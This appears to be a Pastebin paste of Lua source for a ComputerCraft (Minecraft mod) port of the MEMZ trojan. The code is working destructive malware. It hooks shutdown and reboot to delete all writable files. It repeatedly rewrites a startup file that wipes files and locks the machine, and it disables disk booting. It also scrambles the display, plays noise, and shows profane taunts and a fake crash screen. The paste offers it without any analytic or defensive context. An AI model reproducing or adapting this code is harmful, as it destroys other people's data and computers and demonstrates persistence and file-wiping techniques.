CCHacker132

MEMZ (CC)

Dec 2nd, 2019
164
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. if fs.exists('startup') then
  2.     fs.delete('startup')
  3. end
  4.  
  5. local keysheld = {
  6. }
  7.  
  8. for num = 1, #keys do
  9.     keysheld[num] = false
  10. end
  11.  
  12. _G.debug = nil
  13.  
  14. if fs.exists('startup.lua') then
  15.     fs.delete('startup.lua')
  16. end
  17.  
  18. function forceset()
  19.     while true do
  20.         sleep()
  21.         settings.set('shell.allow_disk_startup',false)
  22.         settings.set('shell.allow_startup',true)
  23.         os.setComputerLabel('rekt by memz lol')
  24.     end
  25. end
  26.  
  27. shell.run('set shell.allow_disk_startup false')
  28. shell.run('set shell.allow_startup true')
  29.  
  30. local filecontents = "os.pullEvent = os.pullEventRaw\nfor i,v in pairs(fs.list('/')) do\nif not fs.isReadOnly(v) and not fs.find(v,'disk') and v ~= 'startup' then\nfs.delete(v)\nend\nend\nlocal width, height = term.getSize()\nterm.setBackgroundColor(colors.black)\nterm.clear()\nterm.setTextColor(colors.white)\nlocal text = string.char(2)\nterm.setCursorPos((width/2)-(#text/2),height/2)\nwrite(text)\nwhile true do sleep() end"
  31.  
  32. local function filekill()
  33.     for i,v in pairs(fs.list('/')) do
  34.         if not fs.isReadOnly(v) and fs.getDrive(v) == nil and v ~= 'startup' then
  35.             fs.delete(v)
  36.         end
  37.     end
  38. end
  39.  
  40. local file
  41.  
  42. local function startupgen()
  43.     file = fs.open('startup','w')
  44.     if file then
  45.     file.write(filecontents)
  46.     file.close()
  47.     end
  48.     sleep()
  49. end
  50.  
  51. local oldshutdown = os.shutdown
  52.  
  53. local function newshutdown()
  54.     startupgen()
  55.     filekill()
  56.     oldshutdown()
  57. end
  58.  
  59. os.shutdown = newshutdown
  60.  
  61. local oldreboot = os.reboot
  62.  
  63. local function newreboot()
  64.     startupgen()
  65.     filekill()
  66.     oldreboot()
  67. end
  68.  
  69. os.reboot = newreboot
  70.  
  71. function keycheck()
  72.     while true do
  73.         local ev = {coroutine.yield()}
  74.         if ev[1] == 'key' then
  75.             keysheld[ev[2]] = true
  76.         elseif ev[1] == 'key_up' then
  77.             keysheld[ev[2]] = false
  78.         end
  79.         if keysheld[29] or keysheld[157] then
  80.             if keysheld[19] then
  81.                 os.reboot()
  82.             elseif keysheld[31] then
  83.                 os.shutdown()
  84.             end
  85.         end
  86.     end
  87. end
  88.  
  89. term.setBackgroundColor(colors.white)
  90. local width, height = term.getSize()
  91. os.pullEvent = os.pullEventRaw
  92. term.clear()
  93. paintutils.drawLine(1,1,width,1,colors.lightBlue)
  94. term.setCursorPos(1,1)
  95. term.setTextColor(colors.white)
  96. write(' note.txt - Notepad')
  97. term.setCursorPos(width,1)
  98. term.setTextColor(colors.black)
  99. term.setBackgroundColor(colors.red)
  100. write('X')
  101. term.setBackgroundColor(colors.white)
  102. term.setCursorPos(1,2)
  103. print('YOUR COMPUTER HAS BEEN FUCKED BY THE MEMZ TROJAN')
  104. term.setTextColor(colors.gray)
  105. print('(CC port by MinerMan132)')
  106. term.setTextColor(colors.black)
  107. print('')
  108. print("Your computer won't boot up again,")
  109. print('so use it as long as you can!')
  110. print('')
  111. print(':D')
  112.  
  113. local function clickcheck()
  114.     repeat
  115.         _, m, x, y = os.pullEvent('mouse_click')
  116.     until y == 1 and x == width
  117. end
  118.  
  119. parallel.waitForAny(clickcheck,keycheck)
  120.  
  121. local function payloads()
  122.     term.redirect(term.native())
  123.     local timer = 0
  124.     while true do
  125.         sleep()
  126.         timer = timer + 1
  127.         if timer < 2300 then
  128.         if timer%30 == 0 and timer > 200 then
  129.             term.setPaletteColor(2^math.random(0,15),math.random(1,999999))
  130.         end
  131.         if timer%100 == 0 and timer > 300 then
  132.             local x, y = term.getCursorPos()
  133.             local xoff = math.random(-1,1)
  134.             local yoff = math.random(-1,1)
  135.             if x + xoff > 0 and x + xoff < width then
  136.                 x = x + xoff
  137.             end
  138.             if y + yoff > 0 and y + yoff < height then
  139.                 y = y + yoff
  140.             end
  141.             term.setCursorPos(x,y)
  142.         end
  143.         local waittime = math.floor(40 - ((timer-600)/10))
  144.         if waittime < 1 then
  145.             waittime = 1
  146.         end
  147.         if timer%(waittime) == 0 and timer > 600 then
  148.             local x, y = term.getCursorPos()
  149.             local oldcolor1 = term.getTextColor()
  150.             local oldcolor2 = term.getBackgroundColor()
  151.             term.setCursorPos(math.random(1,width),math.random(1,height))
  152.             term.setTextColor(2^math.random(0,15))
  153.             term.setBackgroundColor(2^math.random(0,15))
  154.             write((string.char(math.random(100,200))))
  155.             term.setCursorPos(x,y)
  156.             term.setTextColor(oldcolor1)
  157.             term.setBackgroundColor(oldcolor2)
  158.         end
  159.         if timer > 700 and timer%100==0 then
  160.             local ox, oy = term.getCursorPos()
  161.             local color1 = term.getTextColor()
  162.             local color2 = term.getBackgroundColor()
  163.             local x = math.random(1,(width-26))
  164.             local y = math.random(1,(height-2))
  165.             term.setTextColor(colors.black)
  166.             term.setBackgroundColor(colors.lightBlue)
  167.             term.setCursorPos(x,y)
  168.             write(' lol                      ')
  169.             term.setBackgroundColor(colors.white)
  170.             term.setCursorPos(x,y+1)
  171.             write('Still using this computer?')
  172.             term.setCursorPos(ox,oy)
  173.             term.setTextColor(color1)
  174.             term.setBackgroundColor(color2)
  175.         end
  176.         if timer > 2000 and timer%2==0 then
  177.             for colort = 0,15 do
  178.                 term.setPaletteColor(2^colort,math.random(1,999999))
  179.             end
  180.             for _ = 1,10 do
  181.                 term.setCursorPos(math.random(1,width),math.random(1,height))
  182.                 term.setBackgroundColor(2^math.random(1,15))
  183.                 term.setTextColor(2^math.random(1,15))
  184.                 write(string.char(math.random(1,255)))
  185.                 term.setCursorPos(math.random(1,width),math.random(1,height))
  186.             end
  187.             local speakers = {peripheral.find('speaker')}
  188.             for i,v in pairs(speakers) do
  189.                 v.playNote('harp',math.random(1,10),math.random(1,10))
  190.             end
  191.         end
  192.         else
  193.             term.setPaletteColor(1,0xF0F0F0)
  194.             term.setPaletteColor(2048,0x3366CC)
  195.             term.setBackgroundColor(colors.blue)
  196.             term.setCursorBlink(false)
  197.             term.clear()
  198.             term.setTextColor(colors.white)
  199.             term.setCursorPos(1,1)
  200.             local text = {
  201.                 'A problem has been detected and the system shut down.',
  202.                 '',
  203.                 'COMPUTER_UTTERLY_FUCKED',
  204.                 '',
  205.                 "If this is the first time you've seen",
  206.                 'this error screen, then your computer is trashed.',
  207.                 '',
  208.                 "If this is not your first time you've seen this",
  209.                 'error screen, then why did you do this again?',
  210.                 '',
  211.                 'Fake technical information:',
  212.                 '',
  213.                 '**STOP 0x90019381D',
  214.                 'Dumping computer files...',
  215.                 '',
  216.                 '',
  217.                 'Press any key to reboot . . .',
  218.             }
  219.             for i,v in ipairs(text) do
  220.                 sleep(0.45)
  221.                 print(v)
  222.             end
  223.             term.setCursorBlink(true)
  224.             os.pullEvent('key')
  225.             os.reboot()
  226.         end
  227.     end
  228. end
  229.  
  230. local function shelljump()
  231.     while true do
  232.         term.setBackgroundColor(colors.black)
  233.         term.clear()
  234.         term.setCursorPos(1,1)
  235.         term.setTextColor(colors.white)
  236.         shell.run('shell')
  237.     end
  238. end
  239.  
  240. local function startlock()
  241.     while true do
  242.         if fs.exists('startup') then
  243.             fs.delete('startup')
  244.         elseif fs.exists('startup.lua') then
  245.             fs.delete('startup.lua')
  246.         end
  247.         startupgen()
  248.     end
  249. end
  250.  
  251. parallel.waitForAll(payloads,shelljump,forceset,keycheck,startlock)
Add Comment
Please, Sign In to add comment